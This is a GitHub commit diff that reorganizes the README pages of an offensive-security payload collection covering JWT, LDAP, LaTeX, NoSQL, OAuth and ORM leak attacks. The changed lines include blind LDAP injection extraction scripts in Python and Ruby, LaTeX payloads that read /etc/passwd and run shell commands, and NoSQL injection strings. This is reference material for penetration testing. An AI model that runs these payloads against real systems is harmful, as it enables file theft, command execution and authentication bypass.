Skip to content

Commit 1a3e605

Browse files
committed
Normalize page header for JWT, LDAP, LaTeX, OAuth, ORM
1 parent 2304101 commit 1a3e605

File tree

10 files changed

+103
-86
lines changed

10 files changed

+103
-86
lines changed

JSON Web Token/README.md

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,8 @@
22

33
> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
44
5-
## Summary
5+
6+
## Summary
67

78
- [Tools](#tools)
89
- [JWT Format](#jwt-format)
@@ -23,6 +24,7 @@
2324
- [JWT Claims](#jwt-claims)
2425
- [JWT kid Claim Misuse](#jwt-kid-claim-misuse)
2526
- [JWKS - jku header injection](#jwks---jku-header-injection)
27+
- [Labs](#labs)
2628
- [References](#references)
2729

2830

@@ -509,6 +511,14 @@ You should create your own key pair for this attack and host it. It should look
509511
* [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
510512
* [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
511513
* [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
514+
* [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction)
515+
* [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token)
516+
* [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret)
517+
* [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature)
518+
* [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key)
519+
* [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
520+
* [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
521+
512522

513523
## References
514524

LDAP Injection/README.md

Lines changed: 16 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2,18 +2,22 @@
22

33
> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
44
5+
56
## Summary
67

7-
* [Exploitation](#exploitation)
8+
* [Methodology](#methodology)
89
* [Payloads](#payloads)
910
* [Blind Exploitation](#blind-exploitation)
1011
* [Defaults attributes](#defaults-attributes)
1112
* [Exploiting userPassword attribute](#exploiting-userpassword-attribute)
1213
* [Scripts](#scripts)
1314
* [Discover valid LDAP fields](#discover-valid-ldap-fields)
1415
* [Special blind LDAP injection](#special-blind-ldap-injection)
16+
* [Labs](#labs)
17+
* [References](#references)
18+
1519

16-
## Exploitation
20+
## Methodology
1721

1822
Example 1.
1923

@@ -78,6 +82,7 @@ We can extract using a bypass login
7882
(&(sn=administrator)(password=MYKE)) : OK
7983
```
8084

85+
8186
## Defaults attributes
8287

8388
Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
@@ -94,6 +99,7 @@ givenName
9499
commonName
95100
```
96101

102+
97103
## Exploiting userPassword attribute
98104

99105
`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
@@ -113,15 +119,12 @@ userPassword:2.5.13.18:=\xx\xx\xx
113119

114120
```python
115121
#!/usr/bin/python3
116-
117122
import requests
118123
import string
119124

120125
fields = []
121-
122126
url = 'https://URL.com/'
123-
124-
f = open('dic', 'r') #Open the worldists of common attributes
127+
f = open('dic', 'r')
125128
world = f.read().split('\n')
126129
f.close()
127130

@@ -137,7 +140,6 @@ print(fields)
137140

138141
```python
139142
#!/usr/bin/python3
140-
141143
import requests, string
142144
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
143145

@@ -152,15 +154,14 @@ for i in range(50):
152154
break
153155
```
154156

157+
Exploitation script by [@noraj](https://github.com/noraj)
155158

156159
```ruby
157160
#!/usr/bin/env ruby
158-
159161
require 'net/http'
160162
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
161163

162164
flag = ''
163-
164165
(0..50).each do |i|
165166
puts("[i] Looking for number #{i}")
166167
alphabet.each do |char|
@@ -174,7 +175,12 @@ flag = ''
174175
end
175176
```
176177

177-
By [noraj](https://github.com/noraj)
178+
179+
180+
## Labs
181+
182+
* [Root Me - LDAP injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Authentication)
183+
* [Root Me - LDAP injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Blind)
178184

179185

180186
## References

LaTeX Injection/README.md

Lines changed: 20 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,23 @@
1-
# LaTex Injection
1+
# LaTeX Injection
2+
3+
> LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
4+
25

36
## Summary
47

5-
* [Read File](#read-file)
6-
* [Write File](#write-file)
8+
* [File Manipulation](#file-manipulation)
9+
* [Read File](#read-file)
10+
* [Write File](#write-file)
711
* [Command Execution](#command-execution)
812
* [Cross Site Scripting](#cross-site-scripting)
913
* [References](#references)
1014

1115

12-
## Read File
16+
## File Manipulation
1317

14-
You might need to adjust injection with wrappers as `\[` or `$`.
18+
### Read File
19+
20+
Attackers can read the content of sensitive files on the server.
1521

1622
Read file and interpret the LaTeX code in it:
1723

@@ -70,7 +76,7 @@ To bypass a blacklist try to replace one character with it's unicode hex value.
7076
\lstin^^70utlisting{/etc/passwd}
7177
```
7278

73-
## Write File
79+
### Write File
7480

7581
Write single lined file:
7682

@@ -83,6 +89,7 @@ Write single lined file:
8389
\closeout\outfile
8490
```
8591

92+
8693
## Command Execution
8794

8895
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
@@ -104,6 +111,7 @@ If you get any LaTex error, consider using base64 to get the result without bad
104111
\input{|"/bin/hostname"}
105112
```
106113

114+
107115
## Cross Site Scripting
108116

109117
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
@@ -120,6 +128,12 @@ in [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.htm
120128
```
121129

122130

131+
## Labs
132+
133+
* [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input)
134+
* [Root Me - LaTeX - Command execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution)
135+
136+
123137
## References
124138

125139
- [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/)

Mass Assignment/README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,12 @@
44
55
## Summary
66

7-
* [Exploit](#exploit)
7+
* [Methodology](#methodology)
88
* [Labs](#labs)
99
* [References](#references)
1010

1111

12-
## Exploit
12+
## Methodology
1313

1414
Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.
1515

Methodology and Resources/Miscellaneous - Tricks.md

Lines changed: 0 additions & 27 deletions
This file was deleted.

NoSQL Injection/README.md

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,11 @@
22

33
> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
44
5+
56
## Summary
67

78
* [Tools](#tools)
8-
* [Exploit](#exploits)
9+
* [Methodology](#methodology)
910
* [Authentication Bypass](#authentication-bypass)
1011
* [Extract length information](#extract-length-information)
1112
* [Extract data information](#extract-data-information)
@@ -14,16 +15,18 @@
1415
* [POST with urlencoded body](#post-with-urlencoded-body)
1516
* [GET](#get)
1617
* [MongoDB Payloads](#mongodb-payloads)
18+
* [Labs](#references)
1719
* [References](#references)
1820

21+
1922
## Tools
2023

2124
* [codingo/NoSQLmap](https://github.com/codingo/NoSQLMap) - Automated NoSQL database enumeration and web application exploitation tool
2225
* [digininja/nosqlilab](https://github.com/digininja/nosqlilab) - A lab for playing with NoSQL Injection
2326
* [matrix/Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner) - This extension provides a way to discover NoSQL injection vulnerabilities.
2427

2528

26-
## Exploit
29+
## Methodology
2730

2831
### Authentication Bypass
2932

@@ -214,6 +217,12 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
214217
```
215218
216219
220+
## Labs
221+
222+
* [Root Me - NoSQL injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Authentication)
223+
* [Root Me - NoSQL injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Blind)
224+
225+
217226
## References
218227
219228
- [Burp-NoSQLiScanner - matrix - January 30, 2021](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java)

OAuth Misconfiguration/README.md

Lines changed: 14 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,26 +1,20 @@
11
# OAuth Misconfiguration
22

3+
> OAuth is a widely-used authorization framework that allows third-party applications to access user data without exposing user credentials. However, improper configuration and implementation of OAuth can lead to severe security vulnerabilities. This document explores common OAuth misconfigurations, potential attack vectors, and best practices for mitigating these risks.
4+
5+
36
## Summary
47

5-
- [Labs](#labs)
68
- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)
79
- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect---uri)
810
- [Executing XSS via redirect_uri](#executing-xss-via-redirect---uri)
911
- [OAuth private key disclosure](#oauth-private-key-disclosure)
1012
- [Authorization Code Rule Violation](#authorization-code-rule-violation)
1113
- [Cross-Site Request Forgery](#cross-site-request-forgery)
14+
- [Labs](#labs)
1215
- [References](#references)
1316

1417

15-
## Labs
16-
17-
* [PortSwigger - Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
18-
* [PortSwigger - Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
19-
* [PortSwigger - OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
20-
* [PortSwigger - Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
21-
* [PortSwigger - Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)
22-
23-
2418
## Stealing OAuth Token via referer
2519

2620
> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer - [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544)
@@ -66,6 +60,7 @@ Some Android/iOS app can be decompiled and the OAuth Private key can be accessed
6660
## Authorization Code Rule Violation
6761

6862
> The client MUST NOT use the authorization code more than once.
63+
6964
If an authorization code is used more than once, the authorization server MUST deny the request
7065
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
7166

@@ -77,6 +72,15 @@ Applications that do not check for a valid CSRF token in the OAuth callback are
7772
> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
7873
7974

75+
## Labs
76+
77+
* [PortSwigger - Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
78+
* [PortSwigger - Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
79+
* [PortSwigger - OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
80+
* [PortSwigger - Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
81+
* [PortSwigger - Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)
82+
83+
8084
## References
8185

8286
- [All your Paypal OAuth tokens belong to me - asanso - November 28, 2016](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)

ORM Leak/README.md

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@ An ORM leak vulnerability occurs when sensitive information, such as database st
55

66
## Summary
77

8-
* [CVE](#cve)
98
* [Django (Python)](#django-python)
109
* [Query filter](#query-filter)
1110
* [Relational Filtering](#relational-filtering)
@@ -17,14 +16,8 @@ An ORM leak vulnerability occurs when sensitive information, such as database st
1716
* [One-to-One](#one-to-one-1)
1817
* [Many-to-Many](#many-to-many-1)
1918
* [Ransack (Ruby)](#ransack-ruby)
20-
* [Resources](#resources)
21-
22-
23-
## CVE
24-
25-
* [CVE-2023-47117: Label Studio ORM Leak](https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw)
26-
* [CVE-2023-31133: Ghost CMS ORM Leak](https://github.com/TryGhost/Ghost/security/advisories/GHSA-r97q-ghch-82j9)
27-
* [CVE-2023-30843: Payload CMS ORM Leak](https://github.com/payloadcms/payload/security/advisories/GHSA-35jj-vqcf-f2jf)
19+
* [CVE](#cve)
20+
* [References](#references)
2821

2922

3023
## Django (Python)
@@ -233,7 +226,14 @@ Only in Ransack < `4.0.0`.
233226
```
234227
235228
236-
## Resources
229+
## CVE
230+
231+
* [CVE-2023-47117: Label Studio ORM Leak](https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw)
232+
* [CVE-2023-31133: Ghost CMS ORM Leak](https://github.com/TryGhost/Ghost/security/advisories/GHSA-r97q-ghch-82j9)
233+
* [CVE-2023-30843: Payload CMS ORM Leak](https://github.com/payloadcms/payload/security/advisories/GHSA-35jj-vqcf-f2jf)
234+
235+
236+
## References
237237
238238
- [ORM Injection - HackTricks - July 30, 2024](https://book.hacktricks.xyz/pentesting-web/orm-injection)
239239
- [ORM Leak Exploitation Against SQLite - Louis Nyffenegger - July 30, 2024](https://pentesterlab.com/blog/orm-leak-with-sqlite3)

0 commit comments

Comments
 (0)